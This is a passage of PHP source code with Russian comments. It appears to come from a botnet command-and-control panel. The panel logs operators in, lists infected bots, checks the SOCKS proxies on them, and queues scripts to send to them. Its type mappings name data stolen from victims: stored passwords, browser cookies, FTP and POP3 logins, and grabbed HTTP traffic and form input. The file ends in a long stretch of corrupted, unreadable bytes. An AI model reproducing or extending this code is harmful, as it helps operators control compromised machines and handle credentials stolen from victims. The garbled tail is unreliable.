  572. $ajax =
  573. <<<JS_SCRIPT
  574. var sockslist = [{$jslist}];
  575. var sockshttp = false;
  576.  
  577. function StateChange(i){if(sockshttp.readyState == 4)
  578. {
  579. var el = document.getElementById(sockslist[i][0]);
  580. if(sockshttp.status == 200 && sockshttp.responseText.length > 5)el.innerHTML = sockshttp.responseText;
  581. else el.innerHTML = '{$ajax_err}';
  582. SocksCheck(++i);
  583. }}
  584.  
  585. function SocksCheck(i)
  586. {
  587. if(sockshttp)delete sockshttp;
  588. if(i < sockslist.length)
  589. {
  590. {$ajax_init}
  591. if(sockshttp)
  592. {
  593. sockshttp.onreadystatechange = function(){StateChange(i)};
  594. sockshttp.open('GET', '{$q}&ipv4=' + sockslist[i][1] + '&port=' + sockslist[i][2], true);
  595. sockshttp.send(null);
  596. }
  597. }
  598. }
  599. JS_SCRIPT;
  600.  
  601. ThemeSmall(LNG_BA_PORT_SOCKS_TITLE, $data.THEME_LIST_END, $ajax, GetBotJSMenu('botmenu'), ' onload="SocksCheck(0);"');
  602. }
  603. else if(strcmp($ba, 'newscript') === 0)
  604. {
  605. foreach($blist as $k => $v)if(spacechars_exists($v))$blist[$k] = '"'.$v.'"';
  606. header('Location: '.QUERY_STRING_BLANK.'botnet_scripts&new=-1&bots='.urlencode(implode(' ', $blist)));
  607. die();
  608. }
  609.  
  610. die();
  611. }
  612.  
  613. ///////////////////////////////////////////////////////////////////////////////
  614. // Запуск модуля.
  615. ///////////////////////////////////////////////////////////////////////////////
  616.  
  617. //Выбор имени модуля и удаление лишних пунктов меню.
  618. $needed_module = (empty($_GET[QUERY_VAR_MODULE]) ? '' : $_GET[QUERY_VAR_MODULE]);
  619. $curmodule = '';
  620.  
  621. OptimizeMenu($_MAINMENU, true);
  622. foreach($_MAINMENU as $key => $item)if($item[0] !== 0 && (strcmp($needed_module, $item[0]) === 0 || $curmodule == ''))$curmodule = $item[0];
  623. if($curmodule == '')die('Modules for current user not defined.');
  624.  
  625. define('CURRENT_MODULE', $curmodule); //Текущий модуль.
  626. define('FORM_CURRENT_MODULE', str_replace(array('{NAME}', '{VALUE}'), array('m', $curmodule), THEME_FORM_VALUE)); //Параметр текущего модуля для формы.
  627. define('QUERY_STRING', QUERY_STRING_BLANK.CURRENT_MODULE); //Строка запроса для текущего модуля.
  628. define('QUERY_STRING_HTML', QUERY_STRING_BLANK_HTML.CURRENT_MODULE); //Строка запроса для текущего модуля в HTML формате.
  629. unset($needed_module, $curmodule);
  630.  
  631. //Загрузка языка модуля.
  632. if(!file_exists('system/'.CURRENT_MODULE.'.lng.'.$_USER_DATA['language'].'.php'))$_USER_DATA['language'] = DEFAULT_LANGUAGE;
  633. require_once('system/'.CURRENT_MODULE.'.lng.'.$_USER_DATA['language'].'.php');
  634.  
  635. //Запуск модуля.
  636. require_once('system/'.CURRENT_MODULE.'.php');
  637. die();
  638.  
  639. ///////////////////////////////////////////////////////////////////////////////
  640. // Функции.
  641. ///////////////////////////////////////////////////////////////////////////////
  642.  
  643. /*
  644. Получение ошибки MySQL с формотированием HTML и префиксом.
  645.  
  646. Return - string, ошибка MySQL.
  647. */
  648. function mysql_error_ex()
  649. {
  650. return 'MySQL error: '.htmlentities_ex(mysql_error());
  651. }
  652.  
  653. /*
  654. Создание временного файла.
  655.  
  656. IN $prefix - string, префикс файла.
  657.  
  658. Return - mixed, имя нового временного файла или false в случае неудачи.
  659. */
  660. function CreateTempFile($prefix)
  661. {
  662. @mkdir('tmp', 0777);
  663. return @tempnam('tmp', $prefix);
  664. }
  665.  
  666. /*
  667. Добавление заголовков для загрузки данных в виде файла.
  668.  
  669. IN $name - string, конечное имя файла.
  670. IN $size - размер файла.
  671. */
  672. function HTTPDownloadHeaders($name, $size)
  673. {
  674. header('Content-Type: application/octet-stream');
  675. header('Content-Disposition: attachment; filename='.basename_ex($name));
  676. header('Content-Transfer-Encoding: binary');
  677. header('Content-Length: '.$size);
  678. HTTPNoCacheHeaders();
  679. }
  680.  
  681. /*
  682. Преобразование BLT_* в строку.
  683.  
  684. IN $type - int, BLT_* для преобразование.
  685.  
  686. Return - string, строкове представление BLT_*.
  687. */
  688. function BltToLng($type)
  689. {
  690. switch($type)
  691. {
  692. case BLT_PROTECTED_STORAGE: return LNG_BLT_PROTECTED_STORAGE;
  693. case BLT_COOKIES_IE: return LNG_BLT_COOKIES_IE;
  694. case BLT_FILE: return LNG_BLT_FILE;
  695. case BLT_HTTP_REQUEST: return LNG_BLT_HTTP_REQUEST;
  696. case BLT_HTTPS_REQUEST: return LNG_BLT_HTTPS_REQUEST;
  697. case BLT_LOGIN_FTP: return LNG_BLT_LOGIN_FTP;
  698. case BLT_LOGIN_POP3: return LNG_BLT_LOGIN_POP3;
  699. case BLT_GRABBED_UI: return LNG_BLT_GRABBED_UI;
  700. case BLT_GRABBED_HTTP: return LNG_BLT_GRABBED_HTTP;
  701. case BLT_GRABBED_WSOCKET: return LNG_BLT_GRABBED_WSOCKET;
  702. case BLT_GRABBED_FTPSOFTWARE: return LNG_BLT_GRABBED_FTPSOFTWARE;
  703. case BLT_GRABBED_OTHER: return LNG_BLT_GRABBED_OTHER;
  704. }
  705. return LNG_BLT_UNKNOWN;
  706. }
  707.  
  708. /*
  709. Заменитель fnmatch для Windows.
  710.  
  711. IN $pattern - string, маска.
  712. IN $string - string, строка.
  713.  
  714. Return - bool, true - в случаи совпадения, или иначе false.
  715. */
  716. if(!function_exists('fnmatch'))
  717. {
  718. function fnmatch($pattern, $string)
  719. {
  720. return @preg_match('#^'.strtr(preg_quote($pattern, '#'), array('\\*' => '.*', '\\?' => '.?')).'$#i', $string);
  721. }
  722. }
  723.  
  724. /*
  725. Определяет сущетвуют ли, пробельные символы в строке.
  726.  
  727. IN $str - string, строка для проверки.
  728.  
  729. Return - true - если пробельные символы сущетвуют,
  730. false - если пробельные символы не сущетвуют.
  731. */
  732. function spacechars_exists($str)
  733. {
  734. return strpbrk($str, "\x20\x09\x0A\x0B\x0D") === false ? false : true;
  735. }
  736.  
  737. /*
  738. Преобразование логического выражения в массив.
  739.  
  740. IN $exp - string, выражение.
  741.  
  742. Return - array, результат.
  743. */
  744. function ExpToArray($exp)
  745. {
  746. $list = array();
  747. $len = strlen($exp);
  748.  
  749. for($i = 0; $i < $len; $i++)
  750. {
  751. $cur = ord($exp[$i]);
  752.  
  753. //Пропускаем пробелные символы.
  754. if($cur == 0x20 || ($cur >= 0x9 && $cur <= 0xD))continue;
  755.  
  756. //Проверяем ковычку.
  757. if($cur == 0x22 || $cur == 0x27)
  758. {
  759. for($j = $i + 1; $j < $len; $j++)if(ord($exp[$j]) == $cur)
  760. {
  761. //Подсчитываем количество слешей.
  762. $c = 0;
  763. for($k = $j - 1; ord($exp[$k]) == 0x5C; $k--)$c++;
  764. if($c % 2 == 0)break; //При четном количестве слешей до ковычки, наша ковычка это не спец. символ.
  765. }
  766. if($j != $len)$i++; //Если не достигнут конец, убираем первую ковычку.
  767.  
  768. $type = 1;
  769. }
  770. //Простое копирование до первого пробела.
  771. else
  772. {
  773. for($j = $i + 1; $j < $len; $j++)
  774. {
  775. $cur = ord($exp[$j]);
  776. if($cur == 0x20 || ($cur >= 0x9 && $cur <= 0xD))break;
  777. }
  778.  
  779. $type = 0;
  780. }
  781.  
  782. $list[] = array(substr($exp, $i, $j - $i), $type);
  783. $i = $j;
  784. }
  785.  
  786. return $list;
  787. }
  788.  
  789. /*
  790. Сравнение строки с логическим выражением.
  791.  
  792. IN $str - string, строка.
  793. IN $exp - string, выражение.
  794. IN $cs - bool, если true, то учетом регистра(BINARY), иначе без учета регистра.
  795. IN $strong - bool, см. код.
  796.  
  797. Return - true - если строка подходит для выражения,
  798. false - в противном случаи.
  799. */
  800.  
  801. function MatchStringInExpString($str, $exp, $cs, $strong)
  802. {
  803. $exp = trim($exp);
  804. if($exp == '' || $exp == '*')return true;
  805.  
  806. $list = ExpToArray($exp);
  807.  
  808. //Настройка pcre.
  809. $pcre_pre = ($strong ? '#^' : '#');
  810. $pcre_aft = ($strong ? '$#' : '#').($cs ? 'u' : 'iu');
  811.  
  812. //Обрабатыаем результат.
  813. $q_prev = $q_cur = 0;
  814. $retVal = false;
  815.  
  816. foreach($list as $item)
  817. {
  818. if($item[1] == 0)
  819. {
  820. $skip = 0;
  821. if(strcmp($item[0], 'OR') === 0)$q_cur = 0;
  822. else if(strcmp($item[0], 'AND') === 0)$q_cur = 1;
  823. else if(strcmp($item[0], 'NOT') === 0)$q_cur = 2;
  824. else $skip = 1;
  825. if($skip == 0){$q_prev = $q_cur; continue;}
  826. }
  827.  
  828. //Сравниваем.
  829. $r = preg_match($pcre_pre.strtr(preg_quote($item[0], '#'), array('\\*' => '.*', '\\?' => '.?')).$pcre_aft, $str);
  830.  
  831. //Не уверен за логику.
  832. switch($q_cur)
  833. {
  834. case 0: //OR
  835. if($r > 0)$retVal = true;
  836. break;
  837.  
  838. case 1: //AND
  839. if($r > 0)break;
  840. return false;
  841.  
  842. case 2: //NOT
  843. if($r > 0)return false;
  844. break;
  845. }
  846. }
  847.  
  848. return $retVal;
  849. }
  850.  
  851. /*
  852. Преобразование логическим выражения в SQL запрос для WHERE.
  853.  
  854. IN $exp - string, выражение.
  855. IN $column - string, название столбца.
  856. IN $cs - bool, если true, то учетом регистра, иначе без учета регистра.
  857. IN $strong - bool, см. код.
  858.  
  859. Return - string, запрос.
  860. */
  861. function ExpToSQL($exp, $column, $cs, $strong)
  862. {
  863. $exp = trim($exp);
  864. if($exp == '' || $exp == '*')return '';
  865.  
  866. $list = ExpToArray($exp);
  867.  
  868. //Обрабатыаем результат.
  869. $query = '';
  870. $q_prev = $q_cur = ' OR ';
  871. $q_addv = ' ';
  872.  
  873. foreach($list as $item)
  874. {
  875. if($item[1] == 0)
  876. {
  877. $skip = 0;
  878. if(strcmp($item[0], 'OR') === 0) {$q_cur = ' OR '; $q_addv = ' ';}
  879. else if(strcmp($item[0], 'AND') === 0){$q_cur = ' AND '; $q_addv = ' ';}
  880. else if(strcmp($item[0], 'NOT') === 0){$q_cur = ' AND '; $q_addv = ' NOT ';}
  881. else $skip = 1;
  882.  
  883. if($skip == 0)
  884. {
  885. if($q_cur != $q_prev && !empty($query))$query = '('.$query.')';
  886. $q_prev = $q_cur;
  887. continue;
  888. }
  889. }
  890.  
  891. $s = str_replace(array('%', '_'), array('\\\\%', '\\\\_'), $item[0]);
  892.  
  893. //Подменяем симолы *, ?.
  894. $len = strlen($s);
  895. for($i = 0; $i < $len; $i++)if(($c = ord($s[$i])) == 0x2A || $c == 0x3F)
  896. {
  897. //Подсчитываем количество слешей.
  898. $cc = 0;
  899. for($k = $i - 1; $k >= 0 && ord($s[$k]) == 0x5C; $k--)$cc++;
  900.  
  901. //Подменяем.
  902. if($cc % 2 == 0)$s[$i] = $c == 0x2A ? '%' : '_';
  903. }
  904.  
  905. $s = stripslashes($s);
  906. if(!$strong)$s = '%'.$s.'%';
  907. $query .= (empty($query) ? '' : $q_cur).$column.$q_addv.'LIKE'.($cs ? ' BINARY' : '').' \''.addslashes($s).'\'';
  908. }
  909.  
  910. return '('.$query.')';
  911. }
  912.  
  913. /*
  914. Проверяет, является ли путь безопасным (отсутвие символов '\', '/', '\0').
  915.  
  916. IN $str - string, строка для проверки.
  917.  
  918. Return - bool, true - если пусть безопасный, false - если путь не безопасный.
  919. */
  920. function SafePath($str)
  921. {
  922. return (strpos($str, "/") === false && strpos($str, "\\") === false && strpos($str, "\0") === false);
  923. }
  924.  
  925. /*
  926. Вывод форму логина.
  927.  
  928. IN $show_error - bool, выводить ли сообшение о неверном имени/пароле.
  929. */
  930. function ShowLoginForm($show_error)
  931. {
  932. $page = $show_error ? THEME_STRING_FORM_ERROR_1_BEGIN.'Bad user name or password.'.THEME_STRING_FORM_ERROR_1_END : '';
  933. $page .=
  934. str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('login', QUERY_STRING_BLANK_HTML.'login', ''), THEME_FORMPOST_BEGIN).
  935. str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN).
  936. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'Login'), THEME_DIALOG_TITLE).
  937. THEME_DIALOG_ROW_BEGIN.
  938. str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN).
  939. THEME_DIALOG_ROW_BEGIN.
  940. str_replace('{TEXT}', 'User name:', THEME_DIALOG_ITEM_TEXT).
  941. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array('', 'user', '255', '200px'), THEME_DIALOG_ITEM_INPUT_TEXT).
  942. THEME_DIALOG_ROW_END.
  943. THEME_DIALOG_ROW_BEGIN.
  944. str_replace('{TEXT}', 'Password:', THEME_DIALOG_ITEM_TEXT).
  945. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array('', 'pass', '255', '200px'), THEME_DIALOG_ITEM_INPUT_PASS).
  946. THEME_DIALOG_ROW_END.
  947. THEME_DIALOG_ROW_BEGIN.
  948. THEME_DIALOG_ITEM_EMPTY.
  949. str_replace(array('{COLUMNS_COUNT}', '{VALUE}', '{NAME}', '{JS_EVENTS}', '{TEXT}'), array(1, 1, 'remember', '', 'Remember (MD5 cookies)'), THEME_DIALOG_ITEM_INPUT_CHECKBOX_2).
  950. THEME_DIALOG_ROW_END.
  951. THEME_DIALOG_GROUP_END.
  952. THEME_DIALOG_ROW_END.
  953. str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_ACTIONLIST_BEGIN).
  954. str_replace(array('{TEXT}', '{JS_EVENTS}'), array('Submit', ''), THEME_DIALOG_ITEM_ACTION_SUBMIT).
  955. THEME_DIALOG_ACTIONLIST_END.
  956. THEME_DIALOG_END;
  957.  
  958. ThemeSmall('login', $page.THEME_FORMPOST_END, 0, 0, 0);
  959. }
  960.  
  961. /*
  962. Создание списка доступных ботнетов в THEME_DIALOG_ITEM_LISTBOX.
  963.  
  964. IN $current_botnet - string, имя текущего ботнета или '', если ботнет не определен.
  965. IN $adv_query - дополнительные данные в HTTP-запросе смены ботнета.
  966.  
  967. Return - string, ListBox с именем 'botnet' и кнопкой смены ботнета.
  968. */
  969. function BotnetsToListBox($current_botnet, $adv_query)
  970. {
  971. $adv_query = htmlentities_ex($adv_query);
  972. $botnets = str_replace(array('{NAME}', '{WIDTH}'), array('botnet', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN).str_replace(array('{VALUE}', '{TEXT}'), array('', LNG_BOTNET_ALL), THEME_DIALOG_ITEM_LISTBOX_ITEM);
  973. if(($r = @mysql_query('SELECT DISTINCT botnet FROM botnet_list')))while(($m = @mysql_fetch_row($r)))if($m[0] != '')
  974. {
  975. $botnets .= str_replace(array('{VALUE}', '{TEXT}'),
  976. array(htmlentities_ex(urlencode($m[0])), htmlentities_ex(mb_substr($m[0], 0, BOTNET_MAX_CHARS))),
  977. strcmp($current_botnet, $m[0]) === 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM);
  978. }
  979. $botnets .=
  980. THEME_DIALOG_ITEM_LISTBOX_END.'&#160;'.
  981. str_replace(array('{TEXT}', '{JS_EVENTS}'),
  982. array(LNG_BOTNET_APPLY, ' onclick="var botnet = document.getElementById(\'botnet\'); window.location=\''.QUERY_STRING_HTML.$adv_query.'&amp;botnet=\' + botnet.options[botnet.selectedIndex].value;"'),
  983. THEME_DIALOG_ITEM_ACTION);
  984. return $botnets;
  985. }
  986.  
  987. /*
  988. Создание таблицы со списокм номеров страниц.
  989.  
  990. IN $total_pages - int, количетсво страниц.
  991. IN $current_page - int, текущая страница.
  992. IN $js - string, JavaScript для события onclick, где {P} - номер страницы.
  993.  
  994. Return - string, список страниц.
  995. */
  996. function ShowPageList($total_pages, $current_page, $js)
  997. {
  998. $list = array();
  999. $visible_pages = 5; //Радиус видимых страниц.
  1000.  
  1001. //Подсчитываем видимые страницы.
  1002. $min_visible = $current_page - $visible_pages;
  1003. $max_visible = $current_page + $visible_pages;
  1004.  
  1005. if($min_visible < 1) $max_visible -= $min_visible - 1; //!Увеличиваем на чисило <1
  1006. else if($max_visible > $total_pages)$min_visible -= ($max_visible - $total_pages); //Уменьшаем на число вышедшее за $total_pages.
  1007.  
  1008. $q_min = false;
  1009. $q_max = false;
  1010.  
  1011. for($i = 1; $i <= $total_pages; $i++)
  1012. {
  1013. //Текщая страница.
  1014. if($i == $current_page)$list[] = array($i, 0);
  1015. else
  1016. {
  1017. //Невидимые страницы.
  1018. if($i != 1 && $i != $total_pages && ($i < $min_visible || $i > $max_visible))
  1019. {
  1020. if($i < $min_visible && $q_min == false)
  1021. {
  1022. $list[] = array(0, 0);
  1023. $q_min = true;
  1024. }
  1025. else if($i > $max_visible && $q_max == false)
  1026. {
  1027. $list[] = array(0, 0);
  1028. $q_max = true;
  1029. }
  1030. }
  1031. //Видимые страницы.
  1032. else $list[] = array($i, str_replace('{P}', $i, $js));
  1033. }
  1034. }
  1035.  
  1036. return ThemePageList($list,
  1037. $current_page > 1 ? str_replace('{P}', 1, $js) : 0,
  1038. $current_page > 1 ? str_replace('{P}', $current_page - 1, $js) : 0,
  1039. $current_page < $total_pages ? str_replace('{P}', $total_pages, $js) : 0,
  1040. $current_page < $total_pages ? str_replace('{P}', $current_page + 1, $js) : 0
  1041. );
  1042. }
  1043.  
  1044. /*
  1045. Создание пунктов меню для JavaScript из $_BOT_MENU.
  1046.  
  1047. IN $name - string, имя меню.
  1048.  
  1049. Return - string, переменная JavaScript с соедржимым меню.
  1050. */
  1051. function GetBotJSMenu($name)
  1052. {
  1053. global $_BOT_MENU;
  1054. $output = '';
  1055. $i = 0;
  1056.  
  1057. foreach($_BOT_MENU as $item)
  1058. {
  1059. if($i++ != 0)$output .= ', ';
  1060. if($item[0] === 0)$output .= '[0]';
  1061. else $output .= '[\''.addjsslashes(htmlentities_ex($item[1])).'\', \''.addjsslashes(QUERY_SCRIPT_HTML.'?botsaction='.htmlentities_ex(urlencode($item[0])).'&amp;bots[]=$0$').'\']';
  1062. }
  1063.  
  1064. return 'var '.$name.' = ['.$output.'];';
  1065. }
  1066.  
  1067. /*
  1068. Создание попап меню для бота.
  1069.  
  1070. IN $botid - string, бот ID. Применять htmlentities_ex или urlencode нельзя.
  1071. IN $meuname - string, название меню. Проще говоря имя перменной в JavaScript созданной через GetBotJSMenu.
  1072.  
  1073. Return - string, попап меню
  1074. */
  1075.  
  1076. function BotPopupMenu($botid, $menuname)
  1077. {
  1078. if(!isset($GLOBALS['_next_bot_popupmenu__']))$GLOBALS['_next_bot_popupmenu__'] = 100;
  1079. return str_replace(array('{ID}', '{MENU_NAME}', '{BOTID_FOR_URL}', '{BOTID}'),
  1080. array($GLOBALS['_next_bot_popupmenu__']++, $menuname, htmlentities_ex(urlencode($botid)), htmlentities_ex($botid)),
  1081. THEME_POPUPMENU_BOT);
  1082. }
  1083.  
  1084. /*
  1085. Создние заголовка колонки, полежащей сортировке.
  1086.  
  1087. IN $text - string, название колонки.
  1088. IN $col_id - int, ID колонки.
  1089. IN $num - bool, true - колонка служит для вывода чисел, false - колонка служит для вывода текста.
  1090.  
  1091. Retrurn - string, колонка.
  1092. */
  1093. function WriteSortColumn($text, $col_id, $num)
  1094. {
  1095. global $_SORT_ORDER, $_SORT_COLUMN_ID;
  1096.  
  1097. if($num)$theme = $_SORT_COLUMN_ID == $col_id ? ($_SORT_ORDER == 0 ? THEME_LIST_HEADER_R_SORT_CUR_ASC : THEME_LIST_HEADER_R_SORT_CUR_DESC) : THEME_LIST_HEADER_R_SORT;
  1098. else $theme = $_SORT_COLUMN_ID == $col_id ? ($_SORT_ORDER == 0 ? THEME_LIST_HEADER_L_SORT_CUR_ASC : THEME_LIST_HEADER_L_SORT_CUR_DESC) : THEME_LIST_HEADER_L_SORT;
  1099.  
  1100. return str_replace(
  1101. array('{COLUMNS_COUNT}', '{URL}', '{JS_EVENTS}', '{TEXT}', '{WIDTH}'),
  1102. array(1, '#', ' onclick="return SetSortMode('.$col_id.', '.($_SORT_COLUMN_ID == $col_id ? ($_SORT_ORDER == 0 ? 1 : 0) : $_SORT_ORDER).')"', $text, 'auto'),
  1103. $theme
  1104. );
  1105. }
  1106.  
  1107. /*
  1108. JS код для смены сортировки.
  1109.  
  1110. IN $url - string, url.
  1111.  
  1112. Retutn - string, js-код.
  1113. */
  1114. function JSSetSortMode($url)
  1115. {
  1116. return "function SetSortMode(mode, ord){window.location='{$url}&smode=' + mode +'&sord=' + ord; return false;}\r\n";
  1117. }
  1118.  
  1119. /*
  1120. Код для JS для инициализации XMLHttpRequest.
  1121.  
  1122. IN $var - string, название перменной для объекта.
  1123.  
  1124. Retutn - string, js-код.
  1125. */
  1126. function JSXMLHttpRequest($var)
  1127. {
  1128. return
  1129. "try{{$var} = new ActiveXObject('Msxml2.XMLHTTP');}".
  1130. "catch(e1)".
  1131. "{".
  1132. "try{{$var} = new ActiveXObject('Microsoft.XMLHTTP');}".
  1133. "catch(e2){{$var} = false;}".
  1134. "}".
  1135. "if(!{$var} && typeof XMLHttpRequest != 'undefined'){{$var} = new XMLHttpRequest();}".
  1136. "if(!{$var})alert('ERROR: Failed to create XMLHttpRequest.');";
  1137. }
  1138.  
  1139. /*
  1140. JS код для массового управления метакми типа checkbox.
  1141.  
  1142. IN $form - string, название формы для обработки.
  1143. IN $cb - string, главный checkbox.
  1144. IN $cb - string, название зависимых checkbox'ов.
  1145.  
  1146. Retutn - string, js-код.
  1147. */
  1148. function JSCheckAll($form, $cb, $arr)
  1149. {
  1150. return
  1151. "function CheckAll(){".
  1152. "var bl = document.forms.namedItem('{$form}').elements;".
  1153. "var ns = bl.namedItem('{$cb}').checked;".
  1154. "for(var i = 0; i < bl.length; i++)if(bl.item(i).name == '{$arr}')bl.item(i).checked = ns;".
  1155. "}\r\n";
  1156. }
  1157.  
  1158. /*
  1159. Получает режим сортировки из GET-запроса.
  1160.  
  1161. IN $sm - array, список досутпных сортировок.
  1162.  
  1163. Return - string, коцовка URL для текущей стортировки.
  1164. */
  1165. function AssocateSortMode($sm)
  1166. {
  1167. $GLOBALS['_SORT_COLUMN'] = $sm[0]; //Колонка
  1168. $GLOBALS['_SORT_COLUMN_ID'] = 0; //ID колонки.
  1169. $GLOBALS['_SORT_ORDER'] = 0; //Направление, 0 = ASC, 1 = DESC
  1170.  
  1171. if(!empty($_GET['smode']) && is_numeric($_GET['smode']))
  1172. {
  1173. if(isset($sm[$_GET['smode']]))
  1174. {
  1175. $GLOBALS['_SORT_COLUMN'] = $sm[$_GET['smode']];
  1176. $GLOBALS['_SORT_COLUMN_ID'] = intval($_GET['smode']);
  1177. }
  1178. }
  1179.  
  1180. if(!empty($_GET['sord']) && is_numeric($_GET['sord']))$GLOBALS['_SORT_ORDER'] = $_GET['sord'] == 1 ? 1 : 0;
  1181.  
  1182. if($GLOBALS['_SORT_COLUMN_ID'] !== 0 || $GLOBALS['_SORT_ORDER'] !== 0)return '&smode='.$GLOBALS['_SORT_COLUMN_ID'].'&sord='.$GLOBALS['_SORT_ORDER'];
  1183. return '';
  1184. }
  1185.  
  1186. /*
  1187. Добавление данных текущей сортировки в форму.
  1188. */
  1189. function AddSortModeToForm()
  1190. {
  1191. return str_replace(array('{NAME}', '{VALUE}'), array('smode', $GLOBALS['_SORT_COLUMN_ID']), THEME_FORM_VALUE).
  1192. str_replace(array('{NAME}', '{VALUE}'), array('sord', $GLOBALS['_SORT_ORDER']), THEME_FORM_VALUE);
  1193. }
  1194.  
  1195. /*
  1196. Получение списка всех директорий.
  1197.  
  1198. IN $path - string, путь для поиска.
  1199.  
  1200. Return - array, список диреторий,
  1201. или false в случаи ошибки.
  1202. */
  1203. function getdirs($path)
  1204. {
  1205. $r = array();
  1206. if(($dh = @opendir($path)) === false)return false;
  1207. else
  1208. {
  1209. while(($file = @readdir($dh)) !== false)if(strcmp($file, '.') !== 0 && strcmp($file, '..') !== 0 && @is_dir($path.'/'.$file))$r[] = $file;
  1210. @closedir($dh);
  1211. }
  1212.  
  1213. return $r;
  1214. }
  1215.  
  1216. /*
  1217. Удаление файлов и папок.
  1218.  
  1219. IN $path - string, полный путь.
  1220.  
  1221. Return - true - если путь успешно удален,
  1222. false - в случаи ошибки.
  1223. */
  1224. function ClearPath($path)
  1225. {
  1226. @chmod($path, 0777);
  1227.  
  1228. if(@is_dir($path))
  1229. {
  1230. if(($dh = @opendir($path)) !== false)
  1231. {
  1232. while(($file = readdir($dh)) !== false)if(strcmp($file, '.') !== 0 && strcmp($file, '..') !== 0)
  1233. {
  1234. if(!ClearPath($path.'/'.$file))return false;
  1235. }
  1236. @closedir($dh);
  1237. }
  1238. if(!@rmdir($path))return false;
  1239. }
  1240. else if(is_file($path))
  1241. {
  1242. if(!@unlink($path))return false;
  1243. }
  1244.  
  1245. return true;
  1246. }
  1247.  
  1248. /*
  1249. Отимизирует меню, удаляя из него запрешенные пункты.
  1250.  
  1251. IN OUT $menu - array, меню для обработки.
  1252. IN $allow_fsep - bool, сохранить верхнии разделители.
  1253. */
  1254. function OptimizeMenu(&$menu, $save_fsep)
  1255. {
  1256. global $_USER_DATA;
  1257.  
  1258. foreach($menu as $key => $item)foreach($item[2] as $r)if(empty($_USER_DATA[$r])){unset($menu[$key]); break;}
  1259.  
  1260. //Удаляем лишнии разделители.
  1261. $sep = -1;
  1262. $i = 0;
  1263. foreach($menu as $key => $item)
  1264. {
  1265. if($item[0] === 0)
  1266. {
  1267. if($i == 0 && !$save_fsep)unset($menu[$key]);
  1268. else if($sep !== -1)unset($menu[$sep]);
  1269. $sep = $key;
  1270. }
  1271. else
  1272. {
  1273. $sep = -1;
  1274. $i++;
  1275. }
  1276. }
  1277.  
  1278. if($sep !== -1)unset($menu[$sep]);
  1279. }
  1280.  
  1281. ///////////////////////////////////////////////////////////////////////////////
  1282. // Управление сессией.
  1283. ///////////////////////////////////////////////////////////////////////////////
  1284.  
  1285. /*
  1286. Захват сессии
  1287. */
  1288. $_SESSIONIN = 0;
  1289. function LockSession()
  1290. {
  1291. global $_SESSIONIN;
  1292. if($_SESSIONIN == 0)
  1293. {
  1294. @session_set_cookie_params(SESSION_LIVETIME, CP_HTTP_ROOT);
  1295. @session_name(COOKIE_SESSION);
  1296. @session_start();
  1297. }
  1298. $_SESSIONIN++;
  1299. }
  1300.  
  1301. /*
  1302. Освобождение сессии
  1303. */
  1304. function UnlockSession()
  1305. {
  1306. global $_SESSIONIN;
  1307. if($_SESSIONIN > 0 && --$_SESSIONIN == 0)session_write_close();
  1308. }
  1309.  
  1310. /*
  1311. Уничтожение сессии
  1312. */
  1313. function UnlockSessionAndDestroyAllCokies()
  1314. {
  1315. global $_SESSIONIN;
  1316. $_SESSIONIN = 0;
  1317. if(isset($_SESSION))foreach($_SESSION as $k => $v)unset($_SESSION[$k]);
  1318. @session_unset();
  1319. @session_destroy();
  1320.  
  1321. @setcookie(COOKIE_SESSION, '', 0, CP_HTTP_ROOT);
  1322. @setcookie(COOKIE_USER, '', 0, CP_HTTP_ROOT);
  1323. @setcookie(COOKIE_PASS, '', 0, CP_HTTP_ROOT);
  1324. }
  1325. ?>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������